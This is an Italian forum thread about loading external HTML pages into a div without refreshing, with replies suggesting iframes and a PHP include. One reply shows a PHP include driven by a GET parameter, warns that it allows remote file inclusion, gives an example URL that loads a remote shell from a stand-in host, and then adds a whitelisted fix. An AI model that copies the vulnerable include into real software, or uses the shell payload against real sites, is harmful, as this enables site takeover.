Caricare pagina HTML statica esterna in un DIV.

[dr.pexquz]

Salve a tutti!

Ho un piccolo problema. Sto realizzando un sito per il quale vorrei evitare un continuo refresh per caricare le pagine.

Nella foto allegata è spiegato sommariamente come dovrebbe funzionare, la pagina principale al click di link1, link2 ecc carica di conseguenza la pagina apposita nel div rosso. Il div rosso contiene anch'esso dei link (link a, link b ecc) e un div azzurro. In base al click dei vari link a, link b ecc nel div azzurro viene caricata la pagina html apposita. Non c'è passaggio di parametri tra le varie pagine.

So che tramite Ajax è possibile e ci sono codici già pronti come jQuery ecc, qualcuno saprebbe indicarmi una guida dove viene spiegato passo passo come fare per includere una pagina html in un div tramite Ajax o altri metodi o potrebbe gentilmente spiegare quali funzioni usare?

Per ora l'ho realizzato con gli iframe (come soluzione temporanea giusto per vedere l'estetica poichè gli iframe, seppure non deprecati, non sono conformi agli standard XHTML 1.0 né HTML 4.1).

Spero di essermi spiegato, se così non fosse chiedo scusa e sarò ben lieto di offrire ulteriori chiarimenti.

 

[dr.pexquz]

Nessuno? :(

 

[tarantola]

Per ora l'ho realizzato con gli iframe (come soluzione temporanea giusto per vedere l'estetica poichè gli iframe, seppure non deprecati, non sono conformi agli standard XHTML 1.0 né HTML 4.1).

Spero di essermi spiegato, se così non fosse chiedo scusa e sarò ben lieto di offrire ulteriori chiarimenti.

Si fa con gli iframe. Nelle specifiche XHTML 1.0 sono previsti gli iframe.

 

[UlisseHGC]

So che tramite Ajax è possibile e ci sono codici già pronti come jQuery ecc, qualcuno saprebbe indicarmi una guida dove viene spiegato passo passo come fare per includere una pagina html in un div tramite Ajax o altri metodi o potrebbe gentilmente spiegare quali funzioni usare?

Se il tuo servizio di hosting supporta PHP puoi fare una pagina p.php così:

<?
$pagina=$_GET["pagina"];

include(path_pagine.$pagina);
?>

e trasformare ogni link in qualcosa del tipo http://....p.php?pagina=abc.html

NOTA IMPORTANTE: questo esempio è il classico esempio di remote file inclusion, se uno ti chiama la pagina abc.php facendo abc.php?pagina=http://suosito.com/shell.php è in grado di prenderti il controllo del portale.

quindi setta le pagine che accetti e fai

<?
$pagina=$_GET["pagina"];

if(($pagina=="abc.html") || ($pagina=="abc2.html")){
  include(path_pagine.$pagina);
}
?>

dove

if(($pagina=="abc.html") || ($pagina=="abc2.html")) significa fai leistruzioni tra {} solamente se pagina è "abc.html" oppure se pagina è "abc2.html"

esistono confronti molto + immediati e performanti ma questo se le pagine sono poche va bene. altrimenti puoi usare arrays associativi o altre cose come wrappers web. ne trovi diversi in giro basta che cerchi PHP wrapper.

Saluti.